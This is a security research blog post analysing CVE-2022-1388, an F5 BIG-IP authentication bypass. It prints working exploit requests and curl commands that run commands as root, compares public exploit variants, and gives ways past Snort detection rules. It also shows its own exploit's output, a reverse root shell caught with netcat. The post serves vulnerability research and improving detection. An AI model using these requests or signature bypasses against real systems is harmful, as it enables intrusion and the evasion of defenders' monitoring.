One of the things we do at VulnCheck is n-day analysis. That can include analysis of well-known, deeply researched, and widely exploited vulnerabilities. When we tackle that type of issue, we aim to learn something new, novel, or, at the very least, interesting. We recently took that approach analyzing CVE-2022-1388.
CVE-2022-1388 is an authentication bypass vulnerability affecting F5 Big-IP products. When CVE-2022-1388 was disclosed in May 2022, there were only a few thousand internet-facing affected systems. But there was no stopping the infosec hype train. Multiple research organizations published redacted proof of concepts, Kevin Beaumont was tweeting about honeypot exploitation, randoms were dropping exploit screenshots, and reporters were mistaking jokes about an inside job for reality. Eventually, most of the speculation and fear-mongering were put to bed by an excellent deep-dive analysis from Horizon3.ai.
When all the hype died down, the vulnerability was quite well-known. It’s been featured in research write-ups. There’s a Metasploit module, and Greynoise tag. Shadow Server identifies the vulnerability in their honeypot network. It was even named one of the [top vulnerabilities in 2022, and added to the CISA KEV Catalog. What more could be said about this vulnerability?
Well, if you don’t look, you’ll never know.
Exploit Summarization
Before we go off on our hunt, it’s useful to know what a standard CVE-2022-1388 exploit looks like. Horizon3.ai’s technical write-up provides the following four elements (verbatim) that are required to exploit CVE-2022-1388:
- Connection header must include X-F5-Auth-Token
- X-F5-Auth-Token header must be present
- Host header must be localhost / 127.0.0.1 or the Connection header must include X-Forwarded-Host
- Auth header must be set with the admin username and any password
The four bullet points describe the authentication bypass. Additionally, Horizon3.ai pointed out an HTTP endpoint that would allow attackers, after they exploited CVE-2022-1388, to execute arbitrary commands. That endpoint was /mgmt/tm/util/bash
. Horizon3.ai also offered the following HTTP request as a proof of concept (this will execute the Linux command id
on the remote target):
POST /mgmt/tm/util/bash HTTP/1.1
Host: 127.0.0.1
Authorization: Basic YWRtaW46aG9yaXpvbjM=
X-F5-Auth-Token: asdf
User-Agent: curl/7.82.0
Connection: X-F5-Auth-Token
Accept: */*
Content-Length: 39
{“command”:”run”,”utilCmdArgs”:”-c id”}
That’s the basis of exploitation and what a generic CVE-2022-1388 exploit looks like on the wire. Our goal for this n-day analysis is to iterate on public knowledge and find something new and/or interesting to say.
Open Source Detections
A good place to start on this sort of task is collecting open-source exploit detections. Detections often summarize the heart of the problem in an easily digestible signature. Additionally, we can determine if we’re on an interesting path of inquiry by comparing the detections against any new exploits we devise. If all else fails (e.g. we can’t find any new or interesting exploitation techniques), finding a weakness in a commonly used signature is an interesting little tidbit to share with customers.
We are aware of five open-source Snort 2.9 signatures for CVE-2022-1388. Three in the Proofpoint Emerging Threats Rules (although we’ll only discuss one because they are all tightly linked), and two in the Snort Community Ruleset. The rules, modified for readability and with some of the metadata stripped for brevity, follow.
Emerging Threats Snort 2.9 Signature ID 2036556:
alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT F5 BIG-IP iControl REST authentication bypass attempt (CVE-2022-1388) M2"; \
flow:established,to_server; \
content:!"GET"; http_method; \
content:"/mgmt/tm"; http_uri; depth:8; \
content:"Authorization|3a 20|Basic YWRtaW46"; http_header; \
content:"x-F5-Auth-Token"; http_header; nocase; \
pcre:"/^Connection\x3a\x20[^\r\n]+x-F5-Auth-Token/Hmi"; \
content:!"Referer|3a 20|"; http_header; \
content:"X-F5-Auth-Token|3a 20|"; fast_pattern; http_header; \
classtype:trojan-activity; sid:2036556; rev:2;)
Snort 2.9 Community Signature ID 57336 (commented out by default):
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"POLICY-OTHER F5 iControl REST interface tm.util.bash invocation attempt"; \
flow:to_server,established;
content:"/mgmt/tm/util/bash"; fast_pattern:only; http_uri;
content:"command"; nocase; http_client_body;
classtype:policy-violation; sid:57336; rev:3;)
Snort 2.9 Community Signature ID 59735:
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"SERVER-WEBAPP F5 BIG-IP iControl remote code execution attempt"; \
flow:to_server,established; \
content:"Connection:"; nocase; http_header; \
content:"X-F5-Auth"; distance:0; fast_pattern; nocase; http_header; \
pcre:"/^Connection:[^\r\n]*?X-F5-Auth/Him";
reference:cve,2022-1388; classtype:attempted-user; sid:59735; rev:2;)
All three Snort rules detect Horizon3.ai’s proof of concept HTTP request, so that’s a great start for all parties. Let’s see if we can find something that these signatures won’t detect.
Exploit Variants
It’s tempting to load up a Java decompiler and start looking at the F5 BIG-IP management REST API ourselves, but that’s a bit premature. This vulnerability is approaching its first birthday, and many people have already analyzed it. Many of their findings have manifested as proof of concept exploits. A good next step is collecting those exploits and exploring what types of variants already exist in public.
Fortunately, VulnCheck tracks exploit sources. For the purposes of this blog, let’s focus on GitHub as the source. VulnCheck has indexed more than 50 non-fork “unique” stand-alone GitHub exploits for CVE-2022-1388. Excluding those that don’t work, we found that CVE-2022-1388 appears to have four exploit variants on GitHub
1. The Horizon3.ai Variant
Horizon3.ai published an exploit on GitHub that, depending on the attacker provided command, exactly mirrors the proof of concept HTTP request shared in their technical write-up (included above). This variant has all five of the elements suggested by Horizon3.ai:
HTTP POST to /mgmt/tm/util/bash
A Host header using 127.0.0.1
An Authorization header using Basic base64(admin:horizon3) (or the password of your choosing)
A Connection header that only contains X-F5-Auth-Token
An X-F5-Auth-Token header that can contain any value.
This is easily reproduced using the following curl
request:
curl -kv -H 'Content-Type: application/json' -H "Host: 127.0.0.1" -H 'Connection: X-F5-Auth-Token' -H 'X-F5-Auth-Token: authtoken' -H 'Authorization: Basic YWRtaW468J+mng==' -d '{"command": "run", "utilCmdArgs": "-c id"}' https://10.9.49.191/mgmt/tm/util/bash;
> POST /mgmt/tm/util/bash HTTP/1.1
> Host: 127.0.0.1
> User-Agent: curl/7.68.0
> Accept: */*
> Content-Type: application/json
> Connection: X-F5-Auth-Token
> X-F5-Auth-Token: authtoken
> Authorization: Basic YWRtaW468J+mng==
> Content-Length: 42
Horizon3.ai was (and is, in our eyes) the authoritative source on this vulnerability, so it’s unsurprising to see most GitHub exploits follow this pattern. However, there were a couple of notable subvariants of this approach.
- Exploits that used
Host: localhost
instead ofHost: 127.0.0.1
. While not actually included in this analysis, the Metasploit module for CVE-2022-1388 falls into this camp. Presumably, an alphanumeric Host field is less suspicious than a non-routable IP. - Exploits using
Connection: close, X-F5-Auth-Token
orConnection: keep-alive, X-F5-Authtoken
instead of justConnection: X-F5-Auth-Token
. We’re unsure what drove this innovation as none of the cited Snort rules are tripped up by this variation. More than a few exploits used this approach, so we assume it’s done to satisfy a WAF requirement.
It’s interesting to note that Emerging Threats Snort 2.9 Rule 2036556 does not detect the original variation, but it will detect the Connection: xxxx, X-F5-Auth-Token
sub-variant (which means it’ll catch Metasploit and Nuclei). The error in 2036556 is a slight mistake in the following regular expression:
pcre:"/^Connection\x3a\x20[^\r\n]+x-F5-Auth-Token/Hmi"; \
The character class [^\r\n]+
consumes the first X
when the Connection
header only contains X-F5-Auth-Token
. Snort 2.9 Community Rule 59735 has a more accurate version of this regular expression:
pcre:"/^Connection:[^\r\n]*?X-F5-Auth/Him";
Just like that, we already have an interesting tidbit of knowledge. The signature does detect two of the biggest sources for exploitation (Metasploit and Nuclei) , but now we know we can craft a payload that it doesn’t detect. The other two Snort rules remain problematic however, so let’s move on to the other exploit variants.
2. The X-Forwarded-Host Variant
The X-Forwarded-Host
variant was suggested by Horizon3.ai in their technical write-up, but they didn’t use this approach in their published exploits. An exploit for CVE-2022-1388 doesn’t need to use Host: localhost
or Host: 127.0.0.1
if the Connection
header contains X-Forwarded-Host
. Another example:
curl -kv -H 'Content-Type: application/json' -H 'Connection: X-F5-Auth-Token, X-Forwarded-Host' -H 'X-F5-Auth-Token: authtoken' -H 'Authorization: Basic YWRtaW468J+mng==' -d '{"command": "run", "utilCmdArgs": "-c id"}' https://10.9.49.191/mgmt/tm/util/bash;
> POST /mgmt/tm/util/bash HTTP/1.1
> Host: 10.9.49.191
> User-Agent: curl/7.68.0
> Accept: */*
> Content-Type: application/json
> Connection: X-F5-Auth-Token, X-Forwarded-Host
> X-F5-Auth-Token: authtoken
> Authorization: Basic YWRtaW468J+mng==
> Content-Length: 42
As suggested previously, a Host
field that doesn’t match the actual target is really suspicious, so this is likely a smarter variant to use in the wild. However, none of the three Snort rules concern themselves with the Host
header. Apparently, their authors also read the Horizon3.ai write-up. So, while this variant is smart, it’s not good enough. Let’s see the next variant.
3. The “Kind of Works” Variant
There are quite a few exploits that don’t have the required Host: 127.0.0.1
or Host: localhost
and they don’t use the X-Forwarded-Host
value in the Connection
header. They effectively look like this:
curl -kv -H 'Content-Type: application/json' -H 'Connection: X-F5-Auth-Token' -H 'X-F5-Auth-Token: authtoken' -H 'Authorization: Basic YWRtaW468J+mng==' -d '{"command": "run", "utilCmdArgs": "-c id"}' https://10.9.49.191/mgmt/tm/util/bash;
> POST /mgmt/tm/util/bash HTTP/1.1
> Host: 10.9.49.191
> User-Agent: curl/7.68.0
> Accept: */*
> Content-Type: application/json
> Connection: X-F5-Auth-Token
> X-F5-Auth-Token: authtoken
> Authorization: Basic YWRtaW468J+mng==
> Content-Length: 42
This variant doesn’t work on our test installation (BIG-IP version 16.1.2.1 - December 22, 2021), but many exploits on GitHub that follow this pattern. Originally, we assumed these exploits were broken, but we looked deeper given their volume. We couldn’t get our hands on an older installation, but we found this YouTube video demonstrating this variant working on a BIG-IP version from 2019. So, these exploits work, but only on old targets. They “kind of work.”
This is also our first real deviation from Horizon3.ai. Pretty interesting! How and why this variant became popular is a mystery. Perhaps a misunderstanding on the importance of the Host
header. But it doesn’t matter too much, none of the three Snort rules are fooled by the missing values. So we forge ahead.
4. Referer Variant
The Referer Variant is only notable because it bypasses one of the Snort signatures. This variant is no different than the original Horizon3.ai variant except there’s an added Referer
HTTP Header. Again, it’s unclear what drove this innovation, but we guess that it’s related to a WAF CSRF validation. On the wire, this variant looks like the following:
curl -kv -H 'Content-Type: application/json' -H "Host: localhost" -H "Referer: https://10.9.49.191/" -H 'Connection: X-F5-Auth-Token' -H 'X-F5-Auth-Token: authtoken' -H 'Authorization: Basic YWRtaW468J+mng==' -d '{"command": "run", "utilCmdArgs": "-c id"}' https://10.9.49.191/mgmt/tm/util/bash;
> POST /mgmt/tm/util/bash HTTP/1.1
> Host: localhost
> User-Agent: curl/7.68.0
> Accept: */*
> Content-Type: application/json
> Referer: https://10.9.49.191/
> Connection: X-F5-Auth-Token
> X-F5-Auth-Token: authtoken
> Authorization: Basic YWRtaW468J+mng==
> Content-Length: 42
The Referer
header shouldn’t impact exploitation, but it’ll allow the attacker to bypass the Emerging Threats Snort 2.9 Rule 2036556. The detection was written to ignore any request containing a Referer
header.
content:!"Referer|3a 20|"; http_header; \
Therefore, bypassing the rule is as simple as including an arbitrary Referer
header.
That concludes the variant analysis, and without any original thought whatsoever, we’ve bypassed the first of three Snort rules. But with more than 50 “unique” exploits, how can they all be distilled into four, frankly, very related variations? Let’s take a deeper look at how these exploits are related.
Comparing GitHub Exploits with SSDeep
When VulnCheck indexes exploits from GitHub we also store a direct link to the raw exploit code (when possible). For example, the raw link to Horizon3.ai’s exploit code is https://raw.githubusercontent.com/horizon3ai/CVE-2022-1388/main/CVE-2022-1388.py. With the raw links readily available, it’s an easy task to apply ssdeep to each exploit in order to determine which share code.
ssdeep
, for those unfamiliar, is a tool that computes a fuzzy hash over a given file. A standard hash, like sha-1 for example, can only tell us if two files are identical. A fuzzy hash can tell us if two files are similar. For example, ssdeep
computes the following hashes for these two exploits:
Hash | File |
---|---|
24:ZCGacygxlWejJ9n3xYt8fHN5mWp1rOVL6L0zwC0syV:ZtJygDVjJ9n3xt/N5LDOVL6LMWV | https://raw.githubusercontent.com/horizon3ai/CVE-2022-1388/main/CVE-2022-1388.py |
24:ZCGacygxlWeCfn3xYt8fHN5mWp1rOVL6L0zwC0syv:ZtJygDVCfn3xt/N5LDOVL6LMWv | https://raw.githubusercontent.com/pauloink/CVE-2022-1388/main/CVE-2022-1388.py |
The computed hashes are (slightly) different, but ssdeep
can tell us that they are related (a score higher 0 indicates similarity):
Python 3.8.10 (default, Mar 13 2023, 10:26:41)
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import ssdeep
>>> ssdeep.compare("24:ZCGacygxlWejJ9n3xYt8fHN5mWp1rOVL6L0zwC0syV:ZtJygDVjJ9n3xt/N5LDOVL6LMWV", "24:ZCGacygxlWeCfn3xYt8fHN5mWp1rOVL6L0zwC0syv:ZtJygDVCfn3xt/N5LDOVL6LMWv")
93
Diffing these exploits, we see that they are very similar indeed.
diff -u CVE-2022-1388.py CVE-2022-1388.py.1
--- CVE-2022-1388.py 2023-04-11 14:45:01.329298751 -0400
+++ CVE-2022-1388.py.1 2023-04-11 14:45:12.225289447 -0400
@@ -8,7 +8,7 @@
url = f'https://{target}/mgmt/tm/util/bash'
headers = {
'Host': '127.0.0.1',
- 'Authorization': 'Basic YWRtaW46aG9yaXpvbjM=',
+ 'Authorization': 'Basic YWRtaW46YW55dGhpbmc=',
'X-F5-Auth-Token': 'asdf',
'Connection': 'X-F5-Auth-Token',
'Content-Type': 'application/json'
@@ -28,6 +28,4 @@
parser.add_argument('-c', '--command', help='The command to execute')
args = parser.parse_args()
- exploit(args.target, args.command)
-
-
+ exploit(args.target, args.command)
The difference between these two “unique” exploits is a slight change in whitespace and a change of the admin user’s password from “horizon3” to “anything.” We found a lot of this sort of thing when we analyzed the 50+ GitHub exploits. For example, consider this screenshot that shows five exploits side-by-side.
Outside of their comments and output formatting, these exploits are nearly identical (two of these are “Kind of Works” variants because they removed the Host
header). A normal hash wouldn’t have been able to identify whether these exploits were related, but ssdeep
was able to lump them into two groups. Then we were able to connect them afterward (ssdeep
is not necessarily optimal for these small file sizes). Their hashes follow:
Hash | File |
---|---|
48:rArpnVOEUlQY0YIQUG+Clu8T26HlCO1dg6LQ3HnczPPuoHzPppkqEpvAZgcU2aAD:sFnkDQY5RhQXUfpKqCQgcU1YVbfp | https://raw.githubusercontent.com/ZephrFish/F5-CVE-2022-1388-Exploit/main/CVE_2022_1388.py |
48:krpnVOEUlQY0YIQUGwhGgfT26HlCO1dg6LQ3HnczPPuoHzPppkqEpvAZgcU2aALn:kFnkDQYQRhQXUfpKqCQgcU1YVbfp | https://raw.githubusercontent.com/devengpk/CVE-2022-1388/main/exploit.py |
48:9rpnVO8VCO1dg6LQtnczPPujHzPppkqEpvApgcU2sALslAeKUtxQj4OsZkKClfas:9Fnk2hQtU4pKqCmgcUtMVbfNR | https://raw.githubusercontent.com/thatonesecguy/CVE-2022-1388-Exploit/main/CVE_2022_1388.py |
96:UjbFnk+QY09edQXUwzpdVPAMwxSV5gcU12VLizsp:UjbOY08dQXXd9AMOiw2VLizsp | https://raw.githubusercontent.com/bytecaps/CVE-2022-1388-EXP/main/exp.py |
96:8Fnk+QY03epQ/JXNSYdpdVYf/MhdgcU1/VLJlp:8OY0OpQ/JXNSQdSnMhs/VLJlp | https://raw.githubusercontent.com/LinJacck/CVE-2022-1388-EXP/main/CVE-2022-1388.py |
The reality is that there are only four exploit variants of CVE-2022-1388 on GitHub because many of the exploits are mostly copy-and-paste jobs. Unfortunately, for us, that means we need to look elsewhere to discover an interesting or new nugget of information. Let’s cast about for the next thing.
Hunting on AttackerKB
As a former AttackerKB contributor, this author is biased. I firmly believe Rapid7’s Technical Analysis’ on AttackerKB is underappreciated. They are a great place to monitor for new exploits. The VulnCheck exploit repository indicates the AttackerKB entry for CVE-2022-1388 has exploits. After reading the AttackerKB analysis, we found this important note (likely attributable to Ron Bowes):
While testing, before we knew about /mgmt/tm/util/bash, we actually devised a much more complicated way to run code: RPM specification injection! We’ll show that method here, because it’s conceivable that an attacker might use it to evade detection. It’s also kinda interesting!
The write-up goes on to describe how to use two HTTP endpoints to execute arbitrary commands on the F5 BIG-IP HTTP management interface:
/mgmt/shared/iapp/rpm-spec-creator
to provide the command(s) to execute/mgmt/shared/iapp/build-package
to trigger execution.
However, the analysis doesn’t provide a proof of concept exploit that uses the endpoint in conjunction with CVE-2022-1388. Additionally, searching GitHub for these endpoints doesn’t yield any results for CVE-2022-1388 (Rapid7 later got this issue fixed as CVE-2022-41800 and published their disclosure in November 2022 - the results on GitHub all point to the associated Metasploit module for CVE-2022-41800).
Essentially, the AttackerKB analysis told everyone a CVE-2022-1388 exploit variation was possible. But then no one actually published an exploit demonstrating that. We can remedy that, and we are especially excited to do so because this variant will bypass a second Snort rule! Snort 2.9 Community Rule 57336 explicitly looks for the bash
endpoint:
content:"/mgmt/tm/util/bash"; fast_pattern:only; http_uri;
Similarly, Emerging Threats Snort 2.9 Rule 2036556 is bypassed looks for /mgmt/tm/
:
content:"/mgmt/tm"; http_uri; depth:8;
Here we are again, with next to no original thought, we’ve found a second rule bypass and we’re able to contribute a new exploit variant to the GitHub exploit ecosystem. You can find our new exploit here. The exploit implements two signature bypasses and opts for the X-Forward-Host
variation. Example output:
albinolobster@mournland:~/tippa-my-tongue$ python3 tippa-my-tongue.py --rhost 10.9.49.191 --lhost 10.9.49.194
▄▄▄▄▄▪ ▄▄▄· ▄▄▄· ▄▄▄· • ▌ ▄ ·. ▄· ▄
•██ ██ ▐█ ▄█▐█ ▄█▐█ ▀█ ·██ ▐███▪▐█▪██
▐█.▪▐█· ██▀· ██▀·▄█▀▀█ ▐█ ▌▐▌▐█·▐█▌▐█▪
▐█▌·▐█▌▐█▪·•▐█▪·•▐█ ▪▐▌ ██ ██▌▐█▌ ▐█▀·.
▀▀▀ ▀▀▀.▀ .▀ ▀ ▀ ▀▀ █▪▀▀▀ ▀ •
▄▄▄▄▄ ▐ ▄ ▄▄ • ▄• ▄▌▄▄▄ .
•██ ▪ •█▌▐█▐█ ▀ ▪█▪██▌▀▄.▀·
▐█.▪ ▄█▀▄ ▐█▐▐▌▄█ ▀█▄█▌▐█▌▐▀▀▪▄
▐█▌·▐█▌.▐▌██▐█▌▐█▄▪▐█▐█▄█▌▐█▄▄▌
▀▀▀ ▀█▄▀▪▀▀ █▪·▀▀▀▀ ▀▀▀ ▀▀▀
CVE-2022-1388
CVE-2022-41800
🦞
[+] Executing netcat listener
[+] Using /usr/bin/nc
Listening on 0.0.0.0 1270
[+] Sending initial request to rpm-spec-creator
[+] Sending exploit attempt request to build-package
Connection received on 10.9.49.191 47152
bash: no job control in this shell
[@localhost:NO LICENSE:Standalone] BUILD # pwd
pwd
/var/config/rest/node/tmp/BUILD
[@localhost:NO LICENSE:Standalone] BUILD # id
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0
[@localhost:NO LICENSE:Standalone] BUILD #
Out of Luck
We’ve gathered variant ideas from GitHub. We’ve pilfered a new exploit endpoint from a better researcher. We’ve written a new exploit and bypassed two Snort rules, but there is still one more Snort rule we haven’t bypassed. Snort 2.9 Community Rule 59735:
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"SERVER-WEBAPP F5 BIG-IP iControl remote code execution attempt"; \
flow:to_server,established; \
content:"Connection:"; nocase; http_header; \
content:"X-F5-Auth"; distance:0; fast_pattern; nocase; http_header; \
pcre:"/^Connection:[^\r\n]*?X-F5-Auth/Him";
reference:cve,2022-1388; classtype:attempted-user; sid:59735; rev:2;)
The problem is this: Snort Community Rule 59735 does an excellent job of catching a single minimum requirement for exploitation. At the end of the day, exploitation will always require a Connection
header that contains X-F5-Auth…
. It might not be the most performant rule (requires searching the entire HTTP header). It might be prone to false positives (particularly of other exploits). But after rooting around the F5 jar files for a possible normalization bypass, I’ll be damned if we can bypass this one. So hats off to you, Snort Community member! You’ve bested us this time!
But that’s not to say 59735 is the best Snort rule for this vulnerability. Or even a good Snort rule at all. It’s not especially good for performance reasons and really not good for the potential for false positives. For my money, the Emerging Threats signature is the best rule. If they update the rule to drop the Referer
logic, adjust the http_uri
, and fix the Connection
regular expression then it will likely be the most performant and most accurate.
Conclusion
We explored open-source intelligence surrounding CVE-2022-1388. This vulnerability has been examined from every angle over the last year, but we thought we might be able to squeeze out one more interesting tidbit. In this blog, we detailed the exploit variants on GitHub, we found a few network signature bypasses, and we published a new exploit variant. All that was achievable only using open-source intelligence. Vulnerability analysis, Vulnerability intelligence - they aren’t always done with a debugger. Sometimes it’s just picking up where others have left off, and iterating.
Do you like GitHub exploits too? To get access to our collection of GitHub exploits, register for a VulnCheck account today by loading https://vulncheck.com and clicking “Register”.